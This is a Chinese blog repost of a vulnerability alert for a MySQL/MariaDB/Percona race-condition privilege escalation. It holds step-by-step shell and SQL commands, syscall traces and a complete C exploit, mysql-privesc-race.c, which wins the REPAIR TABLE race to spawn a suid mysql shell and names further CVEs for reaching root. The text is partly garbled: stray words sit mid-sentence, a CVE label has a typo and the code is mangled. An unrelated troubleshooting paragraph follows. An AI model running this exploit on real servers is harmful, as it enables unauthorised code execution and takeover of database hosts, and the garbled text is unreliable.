MySQL / MariaDB / PerconaDB漏洞

  【漏洞预警】MySQL / MariaDB / PerconaDB - 提权/条件竞争漏洞(附POC)(8:00更新)

  

  漏洞发现人:Dawid Golunski

  漏洞级别:严重

  CVE编号 :CVE-2022-6663 / CVE-2022-5616

  漏洞影响:

  MariaDB< 5.5.52< 10.1.18

  < 10.0.28

  MySQL<=5.5.51<=5.6.32

  <=5.7.14

  Percona Server< 5.5.51-38.2< 5.6.32-78-1

  < 5.7.14-8

  Percona XtraDB Cluster< 5.6.32-25.17< 5.7.14-26.17

  < 5.5.41-37.0

  漏洞描述 :

  Dawid Golunski在 MySQl, MariaDB 和 PerconaDB 数据库中发现条件竞争漏洞,该漏洞允许本地用户使用低权限(CREATE/INSERT/SELECT权限)账号提升权限到数据库系统用户(通常是'mysql')执行任意代码。成功利用此漏洞,允许攻击者完全访问数据库。也有潜在风险通过(CVE-2022-6662 和 CVE-2022-6664漏洞)获取操作系统root权限。

  漏洞细节:

  基于MYSQL的数据库允许用户新建数据库,并且指定存储目录。例如:

  1

attacker@debian:~$ mkdir /tmp/disktable
attacker@debian:~$ chmod 777 /tmp/disktable/
attacker@debian:~$ ls -ld /tmp/disktable/
drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/

  可以通过data directory参数指定存储目录为/tmp/disktable/

  1

mysql> CREATE TABLE poctab1 (txt varchar(50)) engine='MyISAM' data directory '/tmp/disktable';

  执行完成后,查看下目录权限,变为mysql

  1

attacker@debian:~$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD

  低权限(SELECT/CREATE/INSERT权限)的MYSQL账户,在执行表修复过程中,执行了不安全的临时文件创建。

  1

mysql> REPAIR TABLE `poctab1`;
+----------------+--------+----------+----------+
| Table | Op | Msg_type | Msg_text |
+----------------+--------+----------+----------+
| testdb.poctab1 | repair | status | OK |
+----------------+--------+----------+----------+

  通过查看系统调用,可以看到

  1

[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...})=0
[pid 1463] open("/tmp/disktable/poctab1.MYD", O_RDWR)=65
[pid 1463] access("./testdb/poctab1.TRG", F_OK)=-1 ENOENT (No such file or directory)
[pid 1463] lseek(65, 0, SEEK_CUR)=0
[pid 1463] lseek(65, 0, SEEK_END)=0
[pid 1463] mprotect(0x7f6a3804f000, 12288, PROT_READ|PROT_WRITE)=0
[pid 1463] open("/tmp/disktable/poctab1.TMD", O_RDWR|O_CREAT|O_EXCL|O_TRUNC, 0660)=66
[pid 1463] lseek(65, 0, SEEK_END)=0
[pid 1463] lseek(64, 0, SEEK_END)=1024
[pid 1463] close(65)=0
[pid 1463] close(66)=0
[pid 1463] lstat("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...})=0
[pid 1463] lstat("/tmp/disktable", {st_mode=S_IFDIR|0777, st_size=4096, ...})=0
[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...})=0
[pid 1463] stat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...})=0
[pid 1463] chmod("/tmp/disktable/poctab1.TMD", 0660)=0
[pid 1463] chown("/tmp/disktable/poctab1.TMD", 110, 115)=0
[pid 1463] unlink("/tmp/disktable/poctab1.MYD")=0
[pid 1463] rename("/tmp/disktable/poctab1.TMD", "/tmp/disktable/poctab1.MYD")=0

  第一个系统调用是

  1

[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...})=0

  我们可以看到,在检验poctab1.MYD表文件权限的时候,也会复制在创建repaired表时的临时文件chmod()权限。因此在

  1

[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...})=0

  和

  1

[pid 1463] chmod("/tmp/disktable/poctab1.TMD", 0660)=0

  系统调用之间,产生了条件竞争漏洞。

  如果攻击者删除临时表poctab1.TMD,然后通过符号链接在chmod()操作前替换/var/lib/mysql,则能够完全控制MYSQL的data游戏下载目录权限。

  攻击者可以预设置poctab1.MYD权限为04777(suid),然后通过有漏洞的chmod()调用有效的复制一个bash shell来执行命令。这里会有一个问题,suid shell将指挥保留攻击者的UID,而不是'mysql'用户。因此攻击者需要复制bash shell到mysql用户用户的表文件,然而mysql表文件又不具有写权限。

  可以通过新建一个具有组粘帖位(group sticky bit)的目录来绕过这个限制

  新建/tmp/disktable/目录,并赋予组粘帖位(group sticky bit)

  1

attacker@debian:/tmp/disktable$ chmod g+s /tmp/disktable/
attacker@debian:/tmp/disktable$ ls -ld /tmp/disktable/
drwxrwsrwx 2 attacker attacker 4096 Oct 28 11:25 /tmp/disktable/

  通过data directory参数指定存储目录为/tmp/disktable/

  1

mysql> CREATE TABLE poctab2 (txt varchar(50)) engine='MyISAM' data directory '/tmp/disktable';
Query OK, 0 rows affected (0.00 sec)

  再次查看/tmp/disktable/权限

  1234attacker@debian:/tmp/disktable$ ls -l /tmp/disktable/total 0-rw-rw---- 1 mysql mysql 0 Oct 28 11:04 poctab1.MYD-rw-rw---- 1 mysql attacker 0 Oct 28 11:34 poctab2.MYD

  我们可以看到poctab2.MYD表已经是'mysql'权限了,但是属于'attacker'组。这样'attacker'就能够复制/bin/bash到poctab2.MYD文件了。

  漏洞验证:

  

  

  POC.

  123456789101112131415161718192022222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211------------------[ mysql-privesc-race.c ]--------------------/*MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploitmysql-privesc-race.c (ver. 1.0)CVE-2022-6663 / OCVE-2022-5616Discovered/Coded by:Dawid Golunskidawid[at]legalhackers@dawid_golunskilegalhackersCompile:gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclientNote:* On RedHat-based systems you might need to change /tmp to another public directory* For testing purposes only. Do no harm. Full advisory URL:legalhackers/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2022-6663-5616-Exploit.html*/#include #include #include #include #include #include #include #include #include #include #include #include #include #include #define EXP_PATH "/tmp/mysql_privesc_exploit"#define EXP_DIRN "mysql_privesc_exploit"#define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD"#define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD"#define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD"#define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessaryMYSQL *conn; // DB handlesMYSQL_RES *res;MYSQL_ROW row;unsigned long cnt;void intro() {printf( "\033[94m

  " "MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit

  " "mysql-privesc-race.c (ver. 1.0)

  " "CVE-2022-6663 / OCVE-2022-5616

  " "For testing purposes only. Do no harm.

  ""Discovered/Coded by:

  ""Dawid Golunski

  ""legalhackers" "\033[0m

  ");}void usage(char *argv0) { intro(); printf("Usage:

  %s user pass db_host database

  ", argv0);}void mysql_cmd(char *sql_cmd, int silent) { if (!silent) { printf("%s

  ", sql_cmd); } if (mysql_query(conn, sql_cmd)) { fprintf(stderr, "%s

  ", mysql_error(conn)); exit(1); } res=mysql_store_result(conn); if (res>0) mysql_free_result(res);}int main(int argc,char **argv){ int randomnum=0; int io_notified=0; int myd_handle; int wpid; int is_shell_suid=0; pid_t pid; int status; struct stat st; /* io notify */ int fd; int ret; char buf[4096] __attribute__((aligned(8))); int num_read; struct inotify_event *event; /* credentials */ char *user=argv[1]; char *password=argv[2]; char *db_host=argv[3]; char *database=argv[4]; // Disable buffering of stdout setvbuf(stdout, NULL, _IONBF, 0); // Get the params if (argc!=5) {usage(argv[0]);exit(1); } intro(); // Show initial privileges printf("

  [+] Starting the exploit as:

  "); system("id"); // Connect to the database server with provided credentials printf("

  [+] Connecting to the database `%s` as %s@%s

  ", database, user, db_host); conn=mysql_init(NULL); if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) { fprintf(stderr, "%s

  ", mysql_error(conn)); exit(1); } // Prepare tmp dir printf("

  [+] Creating exploit temp directory %s

  ", "/tmp/" EXP_DIRN); umask(000); system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN); system("chmod g+s /tmp/" EXP_DIRN ); // Prepare exploit tables :) printf("

  [+] Creating mysql tables

  "); mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0); mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0); mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine='MyISAM' data directory '" EXP_PATH "'", 0); mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine='MyISAM' data directory '" EXP_PATH "'", 0); // Copy /bin/bash into the mysql_suid_shell.MYD mysql table file // The file should be owned by mysql:attacker thanks to the sticky bit on the table directory printf("

  [+] Copying bash into the mysql_suid_shell table.

  After the exploitation the following file/table will be assigned SUID and executable bits :

  "); system("cp /bin/bash " SUID_SHELL); system("ls -l " SUID_SHELL); // Use inotify to get the timing right fd=inotify_init(); if (fd < 0) { printf("failed to inotify_init

  "); return -1; } ret=inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE); /* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */ printf("

  [+] Entering the race loop... Hang in there...

  "); while ( is_shell_suid !=1 ) { cnt++;if ( (cnt % 100)==0 ) { printf("->"); //fflush(stdout);} /* Create empty file , remove if already exists */ unlink(MYSQL_TEMP_FILE); unlink(MYSQL_TAB_FILE); mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine='MyISAM' data directory '" EXP_PATH "'", 1);/* random num if needed */ srand ( time(NULL) ); randomnum=( rand() % MAX_DELAY ); // Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink pid=fork(); if (pid < 0) { fprintf(stderr, "Fork failed :(

  "); } /* Child process - executes REPAIR TABLE SQL statement */ if (pid==0) { usleep(500); unlink(MYSQL_TEMP_FILE); mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1); // child stops here exit(0); } /* Parent process - aims to replace the temp .tmd table with a symlink before chmod */ if (pid > 0 ) { io_notified=0; while (1) { int processed=0; ret=read(fd, buf, sizeof(buf)); if (ret < 0) { break; } while (processed < ret) { event=(struct inotify_event *)(buf + processed); if (event->mask & IN_CLOSE) { if (!strcmp(event->name, "exploit_table.TMD")) { //usleep(randomnum); // Set the .MYD permissions to suid+exec before they get copied to the .TMD file unlink(MYSQL_TAB_FILE); myd_handle=open(MYSQL_TAB_FILE, O_CREAT, 0777); close(myd_handle); chmod(MYSQL_TAB_FILE, 04777); // Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec unlink(MYSQL_TEMP_FILE); symlink(SUID_SHELL, MYSQL_TEMP_FILE); io_notified=1; } } processed +=sizeof(struct inotify_event); } if (io_notified) { break; } } waitpid(pid, &status, 0); }// Check if SUID bit was set at the end of this attempt if ( lstat(SUID_SHELL, &st)==0 ) { if (st.st_mode & S_ISUID) {is_shell_suid=1; } } } printf("

  [+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m:

  ", cnt); system("ls -l " SUID_SHELL); printf("

  [+] Spawning the \033[94mmysql SUID shell\033[0m now...

  Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2022-6662\033[0m or \033[1;31mCVE-2022-6664\033[0m :)

  "); system(SUID_SHELL " -p -i "); //system(SUID_SHELL " -p -c '/bin/bash -i -p'"); /* close MySQL connection and exit */ printf("

  [+] Job done. Exiting

  "); mysql_close(conn); return 0;}

  视频参考(作者随后上传):

  legalhackers/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2022-6663-5616-6664-5617-Exploits.html

  临时解决办法:

  在myf中添加

  symbolic-links=0

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
MySQL是一个开源的关系型数据库管理系统,它是最流行的数据库之一。在启动MySQL时,你可能会遇到一些错误信息,比如你提到的错误信息:Logging to '/var/log/mariadb/mariadb.log'. ERROR! The server quit without updating PID file (/data/mysql/mysql.pid)。 这个错误通常是由于MySQL服务器无法正常启动导致的。可能的原因包括配置错误、权限问题或者其他系统问题。为了解决这个问题,你可以尝试以下几个步骤: 1. 检查配置文件:确保MySQL的配置文件(通常是my.cnf或my.ini)中的设置正确。特别是检查日志文件路径和PID文件路径是否正确配置。 2. 检查权限:确保MySQL服务器进程有足够的权限来读取和写入相关文件和目录。你可以尝试使用管理员权限启动MySQL服务器。 3. 检查日志文件:查看日志文件(/var/log/mariadb/mariadb.log)中的详细错误信息,以便更好地理解问题所在。日志文件中可能会提供有关错误原因的更多信息。 4. 检查进程状态:使用系统工具(如ps命令)检查是否有其他MySQL进程正在运行。如果有,请停止这些进程并尝试重新启动MySQL。 5. 检查文件权限:确保MySQL相关文件和目录的权限设置正确。特别是检查PID文件所在目录的权限,确保MySQL服务器可以创建和更新PID文件。 如果以上步骤都没有解决问题,你可能需要进一步调查其他可能的原因,比如系统资源不足或者其他软件冲突等。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值